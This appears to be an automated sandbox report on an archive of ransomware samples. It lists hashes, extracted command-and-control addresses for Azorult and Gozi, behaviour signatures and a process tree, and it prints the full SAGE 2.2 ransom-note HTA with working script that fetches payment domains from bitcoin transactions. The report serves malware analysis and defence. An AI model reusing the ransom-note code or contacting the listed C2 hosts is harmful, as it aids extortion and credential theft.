Analysis
-
max time kernel
66s -
max time network
101s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
07-11-2024 16:43
Errors
Reason
Machine shutdown
General
-
Target
RNSM00362.7z
-
Size
27.1MB
-
MD5
8b0f9c502b9e988dc9c305334c471e27
-
SHA1
80fe06daafc1dfad0ba969ea1d7fe84953b9585a
-
SHA256
84b6a47228a3cc2d960f96975807f1424f24efd34140bcee4978c544112e1b14
-
SHA512
3c1f7c0455817610cd78ed29ca0e37e6fd8b2f4415947dd1a60f41a8b20770bc24203c263c5530f4d28e6613e202a6088b99179888f5972b5f43c3d99ccd5a23
-
SSDEEP
393216:NreVFOQDohdmEKs8PWs3zJ2quzEBUlKyzf8vbMqBBS3ohAz9GF5NLcPBC2Bm:NrsFp22WUA6i8v/BXM9GF5NEhw
Score
10/10
Malware Config
Extracted
Family
azorult
C2
http://admin.svapofit.com/azs/index.php
Extracted
Family
gozi
Extracted
Family
gozi
Botnet
1000
C2
wetareska.com
bergesoma.com
Attributes
-
exe_type
worker
-
server_id
12
rsa_pubkey.plain
serpent.plain
Extracted
Path
C:\Users\Admin\Music\!HELP_SOS.hta
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Decryption Instructions</title>
<HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize">
<style>
a {
color: #04a;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
body {
background-color: #e7e7e7;
color: #222;
font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
font-size: 12pt;
line-height: 16pt;
}
body, h1 {
margin: 0;
padding: 0;
}
h1 {
color: #555;
text-align: center;
padding-bottom: 1.5em;
line-height: 1.2;
}
h2 {
color: #555;
text-align: center;
line-height: 1.2;
}
ol li {
padding-bottom: 13pt;
}
.container {
background-color: #EEE;
border: 2pt solid #C7C7C7;
margin: 3%;
min-width: 600px;
padding: 5% 10%;
color: #444;
}
.filecontainer{
padding: 5% 10%;
display: none;
}
.header {
border-bottom: 2pt solid #c7c7c7;
padding-bottom: 5%;
}
.hr {
background: #bda;
display: block;
height: 2pt;
margin-top: 1.5%;
margin-bottom: 1.5%;
overflow: hidden;
width: 100%;
}
.key{
background-color: #A1D490;
border: 1px solid #506A48;
display: block;
text-align: center;
margin: 0.5em 0;
padding: 1em 1.5em;
word-wrap: break-word;
}
.keys{
margin: 3em 0;
}
.filename{
border: 3px solid #AAA;
display: block;
text-align: center;
margin: 0.5em 0em;
padding: 1em 1.5em;
background-color: #DCC;
}
.us{
text-decoration: strong;
color: #333;
}
.info{
background-color: #E4E4E4;
padding: 0.5em 3em;
margin: 1em 0;
}
.text{
text-align: justify;
}
#file{
background-color: #FCC;
}
.lsb{
display: none;
margin: 3%;
text-align: center;
}
.ls{
border: 1px solid #888;
border-radius: 3px;
padding: 0 0.5em;
margin: 0.2em 0.1em;
line-height: 2em;
display: inline-block;
}
.ls:hover{
background-color: #D0D0D0;
}
.l{
display:none;
}
.lu{
display:none;
}
</style>
<script language="vbscript">
Function GetCmd
GetCmd = App.commandLine
End Function
</script>
<script language="javascript">
function openlink(url){
new ActiveXObject("WScript.Shell").Run(url);
return false;
}
function aIndexOf(arr, v){
for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i;
return -1;
}
function tweakClass(cl, f){
var els;
if(document.getElementByClassName != null){
els = document.getElementsByClassName(cl);
}
else{
els = [];
var tmp = document.getElementsByTagName('*');
for (var i = 0; i < tmp.length; i++){
var c = tmp[i].className;
if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]);
}
}
for(var i = 0; i < els.length; i++) f(els[i]);
}
function show(el){ el.style.display = 'block'; }
function hide(el){ el.style.display = 'none'; }
var langs = ["en","de","it","fr","es","no","pt","nl","kr","ms","zh","tr","vi","hi","jv","fa","ar"];
function setLang(lang){
if(aIndexOf(langs, lang) == -1) lang = langs[0];
for(var i = 0; i < langs.length; i++){
var clang = langs[i];
tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; });
tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; });
}
}
function newXHR() {
if (window.XMLHttpRequest) return new window.XMLHttpRequest;
try {
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch(error) {
return null;
}
}
function getPage(url, cb) {
try{
var xhr = newXHR();
if(!xhr) return cb('no xhr');
xhr.onreadystatechange = function() {
if(xhr.readyState != 4) return;
if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status)
cb(null, xhr.responseText);
};
xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true);
xhr.send();
}
catch(e){
cb(e);
}
}
function decodeTxString(hex){
var m = '0123456789abcdef';
var s = '';
var c = 0xAA;
hex = hex.toLowerCase();
for(var i = 0; i < hex.length; i+=2){
var a = m.indexOf(hex.charAt(i));
var b = m.indexOf(hex.charAt(i+1));
if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b;
s+= String.fromCharCode(c = (c ^ ((a << 4) | b)));
}
return s;
}
var OR = 'OP_RE'+'TURN ';
var sources = [
{bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.vouts;
for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10));
return null;
}
},
{bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.outputs;
for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10));
return null;
}
},
{bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all',
ptxs: function(json){
var res = [];
for(var i = 0; i < json.length; i++) res.push(json[i][1]);
return res;
},
ptx: function(json){
var os = json.output;
for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10));
return null;
}
},
{bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/',
ptxs: function(json){
var res = [];
var m = {};
for(var i = 0; i < json.txrefs.length; i++){
var tx = json.txrefs[i].tx_hash;
if(m[tx]) continue;
m[tx] = 1;
res.push(tx);
}
return res;
},
ptx: function(json){
var os = json.outputs;
for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex);
return null;
}
}
];
function eachUntil(a,f,c){
var i = 0;
var n = function(){
if(i >= a.length) return c('f');
f(a[i++], function(err, res){
if(err == null) return c(null, res);
n();
});
};
n();
}
function getJson(url, cb){
getPage(url, function(err, res){
if(err != null) return cb(err);
var json;
try{
if(window.JSON && window.JSON.parse){
json = window.JSON.parse(res);
}
else{
json = eval('('+res+')');
}
}
catch(e){
cb(e);
}
cb(null, json);
});
}
function getDomains(ad, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp;
url+= s.adp+ad;
if(s.adpb) url+= s.adpb;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptxs(json));
}
catch(e){
cb(e);
}
});
}, function(err, txs){
if(err != null) return cb(err);
if(txs.length == 0) return cb('f');
eachUntil(txs, function(tx, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp+s.txp+tx;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptx(json));
}
catch(e){
cb(e);
}
});
}, function(err, res){
if(err != null) return cb(err);
if(res == null) return cb('f');
cb(null, res.split(':'));
});
}, cb);
});
}
function updateLinks(){
tweakClass('lu', hide);
tweakClass('lu-updating', show);
getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){
tweakClass('lu', hide);
if(err != null){
tweakClass('lu-error', show);
return;
}
tweakClass('lu-done', show);
var html = '';
for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AQAAAAAAAAAArDayKw5jXgdBaHb5xiS1dWFSByqZfB696aOfVIfSGEfA" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>';
tweakClass('links', function(el){
el.innerHTML = html;
});
});
return false;
}
function onPageLoaded(){
try{
tweakClass('lsb', show);
}catch(e){}
try{
tweakClass('lu-orig', show);
}catch(e){}
try{
setLang('en');
}catch(e){}
try{
var args = GetCmd().match(/"[^"]+"|[^ ]+/g);
if(args.length > 1){
var file = args[args.length-1];
if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2);
document.getElementById('filename').innerHTML = file;
show(document.getElementById('file'));
document.title = 'File is encrypted';
}
}catch(e){}
}
</script>
</head>
<body onload='javascript:onPageLoaded()'>
<div class='lsb'>
<span class='ls ls-en' onclick="javascript:return setLang('en')">English</span>
<span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span>
<span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span>
<span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span>
<span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span>
<span class='ls ls-no' onclick="javascript:return setLang('no')">Norsk</span>
<span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span>
<span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span>
<br/><span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span>
<span class='ls ls-ms' onclick="javascript:return setLang('ms')">Bahasa Melayu</span>
<span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span>
<span class='ls ls-tr' onclick="javascript:return setLang('tr')">Türkçe</span>
<span class='ls ls-vi' onclick="javascript:return setLang('vi')">Tiếng Việt</span>
<span class='ls ls-hi' onclick="javascript:return setLang('hi')">हिन्दी</span>
<span class='ls ls-jv' onclick="javascript:return setLang('jv')">Basa Jawa</span>
<span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span>
<span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span>
</div>
<div id='file' class='container filecontainer'>
<div class='filename'>
<div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div>
<div>
<h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-no' >Filen er kryptert men kan bli gjenopprettet</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-ms' >Fail ini dienkripsikan tetapi boleh dipulih semula.</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2><h2 class='l l-tr' >Dosya şifrelenmiş ancak geri yüklenebilir.</h2><h2 class='l l-vi' >Tập tin bị mã hóa nhưng có thể được khôi phục</h2><h2 class='l l-hi' >फाइल एनक्रिप्टड हैं लेकिन रिस्टोर की जा सकती हैं</h2><h2 class='l l-jv' >File ini dienkripsi tetapi dapat dikembalikan</h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2>
<p><span id='filename'></span></p>
</div>
</div>
<h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-no' >Filen du prøvde åpne og andre viktige filer på datamaskinen din ble kryptert av "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-ms' >Fail yang anda cuba buka dan fail penting yang lain di komputer anda telah dienkripskan oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2><h2 class='l l-tr' >Açmaya çalıştığınız dosya ve diğer önemli dosyalarınızı bilgisayarınızda "SAGE 2.2 Ransomware" tarafından şifrelenmiş.</h2><h2 class='l l-vi' >Tập tin mà bạn cố mở và những tập tin quan trọng khác trên máy tính của bạn bị mã hóa bởi "SAGE 2.2 Ransomware".</h2><h2 class='l l-hi' >वो फाइल जिसे आपने खोलने की कोशिश की और आपके कंप्यूटर पर बाकी महत्वपूर्ण फाइले हमारी ओर से इंक्रिप्टिड की गई हैं "SAGE 2.2 Ransomware"।</h2><h2 class='l l-jv' >File yang Anda coba untuk buka dan file penting lain di komputer Anda yang dienkripsi oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که ش�
URLs
http://'+s.bp
http://'+s.bp+s.txp+tx
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Azorult family
-
Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
-
Dharma family
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Emotet family
-
GandCrab payload 2 IoCs
-
Gandcrab
Gandcrab is a Trojan horse that encrypts files on a computer.
-
Gandcrab family
-
Gozi
Gozi is a well-known and widely distributed banking trojan.
-
Gozi family
-
Modifies WinLogon for persistence 2 TTPs 3 IoCs
-
Modifies firewall policy service 3 TTPs 3 IoCs
-
Modifies security service 2 TTPs 4 IoCs
-
Ramnit
Ramnit is a versatile family that holds viruses, worms, and Trojans.
-
Ramnit family
-
Troldesh family
-
Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
-
UAC bypass 3 TTPs 1 IoCs
-
Windows security bypass 2 TTPs 6 IoCs
-
Contacts a large (7704) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
-
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
-
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
-
ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Drops startup file 5 IoCs
-
Executes dropped EXE 43 IoCs
-
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 9 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Windows security modification 2 TTPs 6 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 7 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Drops desktop.ini file(s) 13 IoCs
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
System Binary Proxy Execution: Verclsid 1 TTPs 1 IoCs
Adversaries may abuse Verclsid to proxy execution of malicious code.
-
Drops autorun.inf file 1 TTPs 6 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
-
Drops file in System32 directory 8 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
UPX packed file 26 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
NSIS installer 2 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies Control Panel 4 IoCs
-
NTFS ADS 4 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 30 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 14 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 13 IoCs
-
Suspicious use of UnmapMainImage 5 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 1 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00362.7z"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7120648f241608d4b044725605e17a7cb5212b365e025cb22ec64fc354cbac69.exeHEUR-Trojan-Ransom.MSIL.Blocker.gen-7120648f241608d4b044725605e17a7cb5212b365e025cb22ec64fc354cbac69.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.MSIL.Crusis.gen-8f6d43123d4775accaefec86fe48ee3eadefc6b7d6f4cc8e9b1457f11a18f3fd.exeHEUR-Trojan-Ransom.MSIL.Crusis.gen-8f6d43123d4775accaefec86fe48ee3eadefc6b7d6f4cc8e9b1457f11a18f3fd.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 5123⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Crusis.gen-1b6e0745f55770f15cef6ba784b277927aee768c1002197cbaae0251c4817b4e.exeHEUR-Trojan-Ransom.Win32.Crusis.gen-1b6e0745f55770f15cef6ba784b277927aee768c1002197cbaae0251c4817b4e.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-320507782c731aef5234987ec1b14d78515ebe8bbe415da98c1232a10cc0c8e0.exeHEUR-Trojan-Ransom.Win32.Crypmodadv.gen-320507782c731aef5234987ec1b14d78515ebe8bbe415da98c1232a10cc0c8e0.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-320507782c731aef5234987ec1b14d78515ebe8bbe415da98c1232a10cc0c8e0.exe--df59484e3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of UnmapMainImage
-
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Encoder.gen-7b392d62c0cf66f0cdb494c3e9ab8d0d4dda654fab1628d45c510201124d2118.exeHEUR-Trojan-Ransom.Win32.Encoder.gen-7b392d62c0cf66f0cdb494c3e9ab8d0d4dda654fab1628d45c510201124d2118.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Generic-ccdc254a5f222da48a874d90c02ed1b78d9100d15a9d75978adfa839648de845.exeHEUR-Trojan-Ransom.Win32.Generic-ccdc254a5f222da48a874d90c02ed1b78d9100d15a9d75978adfa839648de845.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.Generic-ccdc254a5f222da48a874d90c02ed1b78d9100d15a9d75978adfa839648de845.exeHEUR-Trojan-Ransom.Win32.Generic-ccdc254a5f222da48a874d90c02ed1b78d9100d15a9d75978adfa839648de845.exe3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Desktop\00362\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-fc48846e615556b8f8dd2a4ea242d906de9a7cb244ae074abcb9956888071651.exeHEUR-Trojan-Ransom.Win32.PolyRansom.gen-fc48846e615556b8f8dd2a4ea242d906de9a7cb244ae074abcb9956888071651.exe2⤵
- Modifies WinLogon for persistence
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Blocker.kpuo-ffa0baef91cf6a1b9497d04d85b655bef807bebe804003bf7c2cafada4329bac.exeTrojan-Ransom.Win32.Blocker.kpuo-ffa0baef91cf6a1b9497d04d85b655bef807bebe804003bf7c2cafada4329bac.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\xk.exeC:\Windows\xk.exe3⤵
-
-
C:\Windows\xk.exeC:\Windows\xk.exe3⤵
-
-
C:\Windows\xk.exeC:\Windows\xk.exe3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Blocker.lcym-299f0c0eb83c24099d59635974b4e26447695ff4dfc43a5d635eb548963e8eb2.exeTrojan-Ransom.Win32.Blocker.lcym-299f0c0eb83c24099d59635974b4e26447695ff4dfc43a5d635eb548963e8eb2.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Blocker.ljpe-73fece16bccb22d72e1e27aedabdc2f8168bea1f88b3d24406aecde8caed7400.exeTrojan-Ransom.Win32.Blocker.ljpe-73fece16bccb22d72e1e27aedabdc2f8168bea1f88b3d24406aecde8caed7400.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
